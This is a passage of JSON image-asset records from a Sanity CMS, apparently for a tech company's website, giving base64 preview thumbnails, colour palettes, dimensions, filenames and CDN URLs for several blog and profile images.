UvKlUipDsKgzgFEJFFAkAyfD6RxUcMV47kr/3y1EbfnbHMu9OH96BRunLpt0TRwznt9jcXFLt3zu08tOKTvYfiRzD9s2advlCHa0vUGs36QxgmDHzxKQBsIsP1sqVMAGATjrceSLl7cqvlTmDzp+95pOgdpgjd1hfOfYcVvv6wat+Ls9VE4suUOdNEkvU4jo+pVKpLSoXCqlKpnvZ3d/8A3FdWJ4BUKkreoIj7y5Gswi/86058xqXduEVm3ppTvPA2qpIRc8Ul648Q5gwLY8YJgviZRqP5CMOwexiGhXQ6XbXFYln1GJhJwFqpAkRZBpEwixAPabKTZm3JBZ83rtHf16eZ5xsyytD+vNTfl2BJDoIqJkkyYDAY3sZx/E9KpfIBjuM3WJY92tzcnP1EIawYhOjNOgFkGIWQYYx0lBVEzxrWSe7oNsTdUchiUMZLkb+pMSS6GPaAyWQ6SVHU+waD4W84jn9NGY333W53qLu7e9/3QAJgtQN27amETYUNUFRyEFAfwJdUPHylTgP0IgBK3y/6YxUZ32HniiyWxuMsy1w309Q/DTr1Q4ok/sFx3FR3d/f2sF0eKthEwNo8BYi3aAFi+wD1A9wzr4b7ujS4pS+AR7LyyPlClSTAGNMP2xUt3a66z4a81f/uspffZYiGywaCJO0265ofLGd+/+TVZpJ8nmAuK4bF/Jrwz7+wq0qIsutirx8sWxUa2P7Ta6OySx9N5N58/3juq0fcxQeqD6pTGM1e4fJp+6PFD80no6moQrAkk8eggirJVyc2pz44n6765uI6z8KlZ4q//uWGld/1AiC04f/ynowlHrrE77fViBa3HoybLy+Nm38jLX7xrTVJi5dSxH99bTUA0NBr3wv/AVUKsN2WpYxnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564c38","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09295f","foreground":"#fff","population":0.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#09295f","foreground":"#fff","population":0.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccce4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63c74","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#62708a","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48010","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SaSi_page_image_diversity.png","path":"images/sczeoy4w/production/d9b37ba6492e46aabfc5c37258d54f5707dc787c-1667x1979.png","sha1hash":"d9b37ba6492e46aabfc5c37258d54f5707dc787c","size":807247,"uploadId":"qAt8OmrKiWv1FlCwhvGgdi1j3uSiV730","url":"https://cdn.sanity.io/images/sczeoy4w/production/d9b37ba6492e46aabfc5c37258d54f5707dc787c-1667x1979.png"} {"_createdAt":"2022-10-13T16:59:34Z","_id":"image-bffa201573b03e6c0b4d5877d419da8c17c12453-393x393-png","_rev":"fsQN5Zp7EegFetZkd0G8jU","_type":"sanity.imageAsset","_updatedAt":"2022-10-13T16:59:34Z","assetId":"bffa201573b03e6c0b4d5877d419da8c17c12453","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eoI=x^x[OtMy%1kvWHxwacRjNyawVrtRWBM{Rjs*ofRjkYj[oJfjWY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":393,"width":393},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAFOUlEQVQ4jVXP61fThwHG8d9/0xfbOW3PcWfudN1mZ+2cziNVpkYICUjCLdxBbhqByLUhaNSECAkJJEAQSEISTCAgyFXBC2lRLsK6qT0rVAXEYoHfdwfsm734nOft9xFuBF/x/15zo3cVY2gNY2iduv63e2voXd1z41fXg7vefBDY9Zrrt18h1IXe8MHqHlP/GqaBt9Tf2aB+YB1jzw/o279D13yfb2z3qGkNc837krq+NUz969SF1n61irFvFcE89JYPNvZY7r6jcXgT6+AaJs881YYeCi8ZyMwqJyW1lIy8KxRf7eGaawnzwDqWoXc0DG7QMLgb8RbBNrrJrqax9zSPv8c+sYVjfBOLf5EKrYMUZR6yf8Yh/TqaM8ckRB6P4aw0h6xSB/quZ1jvbmAb2cQ68jPW4Z8RWu5v0TK5TevkNm1TO7Q/FHFOrFNnH6Iou5TMeBXq9BxqCwvQZmeSfCaGQwci+OqoggxNG6bADzh2IyZ+wTH+C0LnY5GOXdMiXWER94xI5+QbGtsGsFyvJ9jRQXhsiMWJPqZdFswX85AciWTfvr9zPLoIbds0zqkt2h/s4JzaRuj+VsTznUj3ExHvrEjPAvhnNrg98oTpyUlW//sftjdW2Ppxlhd3u3BrNWREyfns94f56z8Sudw4zK1H7/didsME/xMR/1ORnjmRwIJI7xL0L24yOfec5RfP2Fl7yfbqc9aWHhL2ObBp1OTIFXx1IIJDx5MoaxyiK/wezwy4vhURArMigTmR4IJIaHGHge9Fhv61yb2ZJWamRpm/18/TYT9Bez3VeXkknZUjOykl4shZIiXpaG39eMLv8D0V6Z4REUJzO4Tmt+lf3GHwe5Hh53BnYY123zA1pVVU5OZhKFWTdU7JH393kE9/+znHDkYgj5SRJFehNzrxPlzh9tyHp0LPg0V8k/MEwy+4M/+KkaXX9D5ewNjgIEOmIkuqpK68AnVqOl/uP8hf9n1BXMQZ8s8loE5Op97YzO2pF/QtbBGc30YwO/UYbHputlpo8d3C1e/B2dOC2XIFS1U5br2ecZeTLr2Wy0oFJfHxaDPSqMpMoyo/F5vVgn/0Hr7JGdz3nyAUlpwm47yErPOxFJcp+UafSOWVRHRXs+m21vKg07rHVaOh/nwaDflp1BWkUZ2TQnlRCgbDBWytOkz2Gq41VSCk5BwhNukoyemRFJVIKK48QX5pBIXFUdRfPc/dFj0TbTfpqNagT09Gp4qjJiMOTWYCFwtVlFUmo9WlUFmjpKJWjqC5chJ19Ukq9VEYGmO50RiNziRBZ5TSaFEx5r/K/GAXd6w3MeZmU6aUUZIUy8XcIgpKdOSWFnC5JhG9KQGDRYlg6ziF7dYp7F0SnN3ROL1S2n0ybvlj8QSSuD9Wxb8fuZhy27FcKuBSgoLCzEIuVTlIUTcTGZ+FqiAWrUmJsTkJodl9BrvnNC3dp2nzSWjviaIzIMUVjMETimVwLJ/ZaQfhUActumrKLpRTVttJYW2QI9EafrP/az4/HIEkQUpi7jkEiysGi1uK1RODrVtGs1eG3SejxS/HGYgnNK7h2UKQpccT9HmCWJ2j1NofIs9p4OPPzvLRJ4fZf+AUXx6Tc+h4LILZraDBrcDiUWDzKmjyxmPzxu9ta0DFyCMzyysLvFr+icezK7hHVyg2DvJFRBaf/OEER08okCtykcZlEylRIZhdSm52JWF2J9PkTaTJtysBm09BW28q4+EmXr95ybvNbZ4t7+AaXybhgo1P/xTFn/8mRZVdQsHFalIz1aRmqPkf4USAcqsRbQMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#21253b","foreground":"#fff","population":7.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283558","foreground":"#fff","population":0.63,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#21253b","foreground":"#fff","population":7.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa493","foreground":"#000","population":1.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94baf0","foreground":"#000","population":5.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b05d","foreground":"#000","population":6.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cac44","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"profile_pic_ben_gamble.png","path":"images/sczeoy4w/production/bffa201573b03e6c0b4d5877d419da8c17c12453-393x393.png","sha1hash":"bffa201573b03e6c0b4d5877d419da8c17c12453","size":283313,"uploadId":"xUV6e6meHG8ls9bp8MIJVQMTrzQiovfU","url":"https://cdn.sanity.io/images/sczeoy4w/production/bffa201573b03e6c0b4d5877d419da8c17c12453-393x393.png"} {"_createdAt":"2022-11-09T11:29:10Z","_id":"image-6af976c32674f6c0eb2687db10d416ce966a1cb1-1567x844-png","_rev":"yEepckykK41PbFrRNT9rfe","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:30:54Z","altText":"[Image: astronaut running or dancing] Racing in zero gravity was the most fun Mischa had ever had.","assetId":"6af976c32674f6c0eb2687db10d416ce966a1cb1","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAClElEQVQokW2Py08TURjF+ye4dunOrUtX7owLow2JunKFIZFElxIgMRpRJEBCangY3g8DiAkmIqKBRhCQhxQKU1pKn3TKtNOW6dy5ZaadfsfMgIrGxe+e75F78h1HVtGRymiQZA2HaRWilLfV6iWZ4TDNkEyp9iwp5XGQzNlIaYZcvgiVE1gBv3FYS58/im0hZOPZCthqzbZ2gnbv8QbsetO7h7UfAtY3BPgCUYiSgiO1hDwn29jCkc5yxBIZROJpm1BUstWahSKHCIZFW8OxFCKxFIIhEZveAGbdi/j4aRZLK14IARFiSjsxtJ68Vv4vio21p9O6DOuADc8O2ju6UFNTh/bOAUzNrGA3KNl/HGfz/w2BaTo0xqCqHHJaQTycgODdxfT0DJqamlBbV4+B4XEsrQqIJnInhr+y/wFg3IR2dIhCwo3jyATY/gck3W8h9LXD3deNkf5+uFyv0NbcgvGeQazPryCZzJ1G/ucqu1cVFGJTMHYaYGw/hbH4ELzjJqRHFVhre47JsVGMDI9gsLEZUw9q4XcNIOs/ODFknEg9SwGkZWOk+12k+1rpOPSOil/vE7VdJP7kGkUm+mhteZlmpqdp6kUzhIpKsHv1VPi8SkwtkYMpOo5kBjmjIacYdmQtl4C+1wlDeAnd9xqlmVsg1wXoXXchry8gFI7j2/wCvjS3Uth5l4o3KmH0ToLJHA6WYWYmIZtJMWumswUzr5HJGDcL4ryp+1rM4kp1uTx6iajpPBWHqkjdF8pxUaa5OTe9aXiG784KsOt3yGgfLjNJLTuYWuSKovOcYnCFmVzlxJmFmuc85eG6x3Vs9lwu0eNzVOq9bWp768Z++KA4NjpGjdVVeH/1CrJOZ9noHjJYmhV+As6l/1zgOWgnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#463f41","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98464a","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6d09","foreground":"#fff","population":2.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aad2be","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fade6a","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#709478","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6d09","foreground":"#fff","population":2.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"How_fast_is_Apache_Kafka_blog.png","path":"images/sczeoy4w/production/6af976c32674f6c0eb2687db10d416ce966a1cb1-1567x844.png","sha1hash":"6af976c32674f6c0eb2687db10d416ce966a1cb1","size":377176,"title":"How fast is Apache Kafka?","uploadId":"OuMdQ73ayeFzSkIs6GYIkhc8O9fqyXVg","url":"https://cdn.sanity.io/images/sczeoy4w/production/6af976c32674f6c0eb2687db10d416ce966a1cb1-1567x844.png"} {"_createdAt":"2022-06-15T20:01:49Z","_id":"image-c69a9955e130bd778fa60a99eecad6119d6f5268-752x405-png","_rev":"sI1gFaRN7B5HWmjllAAhKN","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:00Z","assetId":"c69a9955e130bd778fa60a99eecad6119d6f5268","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MlOLo$~nxZV[odVX#R9}s,xZvLs-X8WBWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsSAAALEgHS3X78AAACnklEQVQokWP4MUfpx3ztHwt0fszT+jFH9ft0+W8TFL92K39pVP9YrPM+yfCGv023s7+JXRKfdTandQ6vbZ60Z6miX4WIcyHDz2UWP9d6/Fzv+3Ot588V9j8WGf6Yo/ljlub3mXrfpxp+adV/lWp02MexyinY1i5BwSZdxD5X2bdMN7hC0rWA4eeB8i/7Kj8dqPu0v+7jvuqPu4s/b039tDnh4/acb3uKfqyJ/NJi8TLN8HSYzQIPryyHcDOnNLOwCseYGiXXfIaP17beO7b6+uHVN46suXoIhG4dWn5t/6IrB1Y8O7Pu+/H+HyvCvkwwe11ufD3SdpOnR61XaFx0pl9ssYpLLsPbm4cvHd15bO+Wo3u2HNuz9ejerUf3bjm4a9ORPZvvn9n69fzCjwcbH23MOToxbmlu9PyEhGXp8R1pCQFhGerueQyf7h65f37PlWM7LhzZfuX4zmsndp47sv3o/q2H9m+7dGLbpSNrd+1eM3vj2qKp8yOa5uT0LZ8xf8HyaS0TagvKKuoY/jw+8e3+sY93jn64ffTT3aOf7h17dO3w3iN7Z23dM3HNjrr5m5Pn7AyavtOicY1zz86izZcbd1+csnrl8RUtt7ZMYvj/9NQ/JPT7yalrFw+3rtzmM3mrc8dm65ZtRp179apWKib0WxXPyZmxvWbmpkn9U67Mqf22sh6kGY4gmi+dO1S1aIt99waL1nUmDesMq1aapvXaBxckx+ZPyCvdVJBzuiD2WUXAp3p3FM3/n576+/TU65tHdu/YMnHukrreKWW1DTV5eX3JsUuj/A9Eel6Pcnsa7fg2xfJTqf6XZnV0zf+fnPp9Y//7HYsezmq63pV6pd7/dpHT41T755E2r4JtXgfYvAm2/JCj/7VT+ft0eQAJMpN24ILgIgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2820","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3b6a","foreground":"#fff","population":16.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4cc","foreground":"#000","population":16.89,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b8b9","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4cc","foreground":"#000","population":16.89,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9599ab","foreground":"#000","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7981e","foreground":"#000","population":15.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c69a9955e130bd778fa60a99eecad6119d6f5268-752x405.png","path":"images/sczeoy4w/production/c69a9955e130bd778fa60a99eecad6119d6f5268-752x405.png","sha1hash":"c69a9955e130bd778fa60a99eecad6119d6f5268","size":64559,"uploadId":"x8SjZ2pSfUpH0OAJI4AAObbY0twtkpq0","url":"https://cdn.sanity.io/images/sczeoy4w/production/c69a9955e130bd778fa60a99eecad6119d6f5268-752x405.png"} {"_createdAt":"2023-06-12T10:22:36Z","_id":"image-496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176-png","_rev":"OSa4Of7leLeKOMRytOZVpQ","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T10:22:36Z","assetId":"496efedb790baa71d52fd9c7bb68ccce20acbbe0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5R:E7-p%g%fX7~AnOD*W;-;XUM{%MW=Ri0%S$IUM{s,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.370748299319728,"height":1176,"width":1612},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAChElEQVQ4jV2TWY+kOBCE+f8/a1b9MNIeT3t0HVRRVdynbTAYA98q3TOt1iClhJzpcGRmRPR6pVwuV67XGPkvipK6bkIkjyfx7c4rzcjzIuSapqWqauL4xvv7idPpEuq6rsc5RzQMKhRJqH7ADJppnJimia7raJsGrRXTNIYza2eMGT+Ay4KqLAOYnHvvibZtwy+WWTWYLEXFKXOn2bxnswo/ZKymxC+KfVvY941t31mdY9YDuq3Rfc+6LBz7TgQH+9hgkz/I/3wj/u13+nvO7j3Ylr38G5P+S1OljKOAejh2/Dyh6oImfaHKjNUajmMnOo6DVRWMt+88/vrGP29vtEnC4VdYJ3yXUN3eef8vIUtL3Gw4/IJTFW2eUKQvuqpg0hq3+g9AN2tM+6JOb5T3M7YrODbPvu8s1lDmJZfzi/x2wemcfbXMuqOrM4oio8hTurZmsvajZb86tDZ0ncJohXdzoC+zmhfHMIzUZYUuYjYj41iwk6XvB5qmoq0fGFWwuvlHy6tHm5lumDDjwuq3wE4W5tyKtQujMSxjx+YM+7bilvmHGgyLHfBuDAuLRApKadpuoG56mrZHaY21lnEcQ06kNQwDWmvmeWZZZozW9H3/GUqJtCxRXdekaRZE/Xi+eDyeVFUVCn7mnnL+fAZhy2gEWISeJA/u94RrfOOePIIZorIsPy9ICIDMZhyn4Ijn88ntdg9OkpyACSMBE7fc70nICxEReySoWZaHYmHQtl1whNAviiJcOp8vnE7nACKukBAS0pV0IUDyiJCIZFbGmBACJH4UC4mVpK1rHH96XQDbtg11X+vXdQ13ZIlhy7+GfMviwuvCXloXFuJtM47h8tfar9//1/4mw3QFR8oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38374e","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202d54","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eecb9f","foreground":"#000","population":0.55,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4ca","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eecb9f","foreground":"#000","population":0.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6872a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e08835","foreground":"#000","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176.png","path":"images/sczeoy4w/production/496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176.png","sha1hash":"496efedb790baa71d52fd9c7bb68ccce20acbbe0","size":642822,"uploadId":"ESN1G8Rcbx1Lv0WrzOikeJvntUKqAhyH","url":"https://cdn.sanity.io/images/sczeoy4w/production/496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176.png"} {"_createdAt":"2022-12-14T13:38:16Z","_id":"image-b7205d2aa7bacee15ad8066bb945657b081aa6e5-1200x1074-png","_rev":"aJQte7Rd1SiavAM6Q8MdcV","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T13:39:38Z","altText":"Hand with paper plane with a crab above","assetId":"b7205d2aa7bacee15ad8066bb945657b081aa6e5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1173184357541899,"height":1074,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFaElEQVQ4jW2Ta0yTZxTHHwJuKLqZuWgyEN6XbcbETJmJcYZLqwUVMMJgIiCbVGeGi6ggMOQihVEswqaAAgvNoFxsC2NA6dviQkHG/WKBTgglUooMSEtL+7aAfcv6PEsb920n+efkfPnlnPM/B/j4HAEFbPa+wsLC448ePfLjcDhH09LSPC5GRbmIxWKAEAJTU1OgUyYD9rDXVqsVkCQJDAaDI5tMJqDT6YBKpQJgZWXlwPDQUIRYLC4QtbVVNjU2sgQCwZmhoSGPpaWl3SqVaufs7KyrXC53qa+vd/oP+n/a2toCQKPRXFlYWKidVSr/mpmZmZuamhpVKpX1i4uL7FWtNsWwZrhGGo1RJEmeIUnS12g0+hgNhk9JknS3WCx7EEK7EELbEULbNjc3nYFWqw1Uq9V5s0rl5Nzc3Obi69dvVpaXydXVVa3RaHxtNpmUZrN53GQy9ZFGo1Sv1ws0Gk3l8vJy4dLfSxmLi4s35ufnv56ZmQmemJg4bt/D9u7urqOdnZ01A/395nG5HE1OTKCJ8XGHxkZH0fDwMJycnLRNT09bFQrF5rhcTsrl8lW5/MX8i7GxkdHRkZbhoaGiwYGB60ChUABuVdWH7SJR5vPu7qUumQzxampsbDbbxmKxYE5ODszNzYXl5eWIz+cjgUCAmpubzYRYPP2so6NdIpE+bhOJkyUSaaiss9PH4ZxAIHDrkErjZbLOKaFQCDMzM+AVJhNeT0iA6enpMD8/H5aWlNgqKireVJSXm6urqxVNjUKWUCikpWQUHTsfk3o49ELS+zlpTACKi4pASUmJi0jU5t/U2FhbxOGob9+8ZcnKzERlZWWwoaEBtra2opaWlvWaGt5QSUkpv7Ky8ic+nx/44Emz2wcHYvZ6+cR5u392aYfnQToACABwKPuOk7S6dh8/ixV37xum9MbVb00cDge1t7fDgYEB2NfXh7pksrWO9mZuGzf1Yhc3MmKm6Sxd13bEoyydvuso7eqOz+nfOSPUDYDO9xxATpFgLTB2r4IReb2cEToWH3LOmpCQgLhVVbC3txeOjIyggd6e9ckObpeumVFqEXlyKQLnUQSe9Y8U80M97juB202g//0TAHoAAoP+Uc46/8gTKnp401N6sDmWRkchISEwMTER1vJ4sKfnT/T8mcQmr88263jHdVQrZrJK8HWKwBcoAudaCPzEhsh7m6nNG4CVLy4Bld9XbtqAiMtqethLIf0Mig2gwcDAQBgTHY3Y+fmotq4OVj/+CXUVxCBt6SFk+c0LURIcUYRd2CuKwJMoAt9DETgAK75RQO0fsXuVHp40f/Kcuo7GQFH+ATAoKAjGxsTAnHv3YEXpQ1TNugEHf/CH+gfe0CL0ghSB294C1ygC/5kicE+rBAPA4n8BLASEv6c5ef77iZPBr4r9aSjE19cBjIuLg3msHCQsZcP+nAioTjuIyGJP9KbRC1ISOxCzA7UUgbMpAv/IAUQBl8EG7fw704zQ0KenTvckBNC2GAEBMDg4GMYzmbAgjwU7HqbB+Ww/qL+732Z+vN9macGQ1TEyRlEE1k8RWDRFYDutBAYACD0F0Jc3QUPQ2Y9TgkMKLoWHL8RER0NmfDxKSk5GZZw81Ft4FS3fPbJuzHZ/ufGr1yDVjk1ZJbiSIrA/KAK7ZSUw3EpgTpQEB4AWFub4lssMxrvx0dEnkm7fKs3NZU2z8/PJYnaupfF+8oYiJ2RZk3pAYshyT9ysw8IoAmdSBHaNIrDTFIF7WAnM2W6Iw5Q0Zjwg+ELHgWekpLhWPnlyjMfj/cj9pbK/5n7GwvO74dPqO4fr9cmeUfpUj33rtbgLReCuFIG5UgT+FoQ5YPYO/wXTY1Uivfp1xQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3550","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#774f11","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab422","foreground":"#000","population":8.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cacc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cc40","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d675b","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab422","foreground":"#000","population":8.3,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"hand-with-paper-plane-with-a-crab-above.png","path":"images/sczeoy4w/production/b7205d2aa7bacee15ad8066bb945657b081aa6e5-1200x1074.png","sha1hash":"b7205d2aa7bacee15ad8066bb945657b081aa6e5","size":309401,"title":null,"uploadId":"zS0HlPiJCOlNSDZXdK2gUpb23OXhxQDh","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7205d2aa7bacee15ad8066bb945657b081aa6e5-1200x1074.png"} {"_createdAt":"2022-12-14T13:38:39Z","_id":"image-16c7de68fc6d2250e1772012812467a2bf36630d-1667x1352-png","_rev":"3re4XGUaXqpLG8nUT5Zafv","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T13:45:46Z","altText":null,"assetId":"16c7de68fc6d2250e1772012812467a2bf36630d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGH^n,.-0K8c0L0|9u-B^6V?00EhxZ%Kxt%~J%wd#S$j56x]xaIAxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2329881656804733,"height":1352,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEyklEQVQ4jYWUe0yTZxTGT+lEFCX1RlAjupk550AH4oDqnKKlV6rY6lA3qonAIGstiIBcFGETvG2T0VIRCkjLpeVSvypp90EVCm2RVtoPBkyqDgluWYziZYkLtO/Skv29k/zynH+eJ+/75pwX4H9qbGwMrFYrGI1GIAiCZLVaF9pstiUEQfibzWZSWloa0On0BQwGI5jFYgV7TWgbH9wRPK+ibTxwR8yph9cXpDA4OOjF6XT622y2nSaTKclsNscQBLHI42exWMuYTOYGDoezApDH7A3jzfVbD84RPqeu3YkwaDLD+Pg4PHr0aKnFYknt6urCcBw/ZzKZghkMhi+TyVzLZrM/4HK5fuAWhYPLRwRuyIEZBOD6fh24kzeT3IJNJHfqSvhHDtA12AujD3+D/v7+JTiOn8AwrKO1tVWqUCi2cTic1bGxsSFsNnsln88nAbx/EmDLcahiJsCzkO9Iz6HJ55W/lPw2oJr8Kkjt80fMDZKlQAIIIcAwjIJh2D6NRlPV1NSkkMlkRw4fPryVRqN9yuFwKFQq1fMCdEDoZ0ARx3zQl2F+6ExgIDpL+RDlBGxAKctWodj3/VHgFjI6nk261d7uazAYQvR6fTGGYbeam5vThUJhJI1GW8/n8xdER0cDrKftgdjFLDKRtD3gtXxv2HT97tS30k3XZkqWlb87t+bU8wvcL57+cDHo94Kr819c/Yk0YLUu7+npOXDv3r1TarV6f2JiYmRMTMw6Ho/3HpfLBVi9U0zZzMiMKEhPOjSkPPbjk7ZU+0T9Vy//kuyZflbGHR+uyr3ZXys72F1Tu8mg03+s1WqjG5RKal1dXahQKAyNi4ujxsfHfyIQCBZlZWWRIGiHePNn8dkl34ozenTSE5O/Kk7MOJpykU15HlnrilF39ZWneslVmbZWnq7FsCsajaaisrIyWSAQUOl0erhIJNqVn5+/Py8vL7ygoGAxUCJFH+3gZRTmZKYNaS4nvLtfkeC2NJ53440yV6esFOlLzrzBivM6W6tvKFtbWmxqtdoul8urioqKksRicVRlZSXz+vXrReXl5YlSqXQFQMjJBaknM3c0X05U9EoOTVtuZqJerMZlUNW4eksyUP83vGmjOBnXKetbMK3W0tTYeL+2travoaGh5vbt2+yOjg6qSqUSqlSqA3fu3AnwbopOXbHKLj8qeiLnWp3NGe+GNBJkV15DznPJs38ejSEmT6eWD3Tiii6Dwdbe3jakUqkea7Vas9FoTHrw4EEwjuNr7969u9LhcJDh1rWz0IG1+E5W0ze+kYVlvKnYZXgh4U88v/T15Ot0bv9swufFr0oL9w/bbPkmk6lTr9c79Hq9ubu7WzIwMLB3dHR0YWlpqXdOvTWZGwDmX+SALgEZlfivcRcujXPlrD01KwrNdh2LOIL2RYW8vHAxcHx4JNRutyf09fVlm0ymNIfDEeV0OilWq5XkCUtJSQGlUgmA5PNBe7MCQItg6iiAKxn83IkLlyPe6iAXI4wyG8WYjzZyfWYfPiZPTEwsGh4eDiIIYsXY2JivJ6itrQ1GRka8OBwOAM9B0WkAV+F6mED18Japg5nIjHmzkSl+rqjj89zbD5H+FmeBMDfLe63/KCsrAxzHvd+bTqfz9lNTU/Avxfd19Ikf7kYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304a4e","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a285e","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","b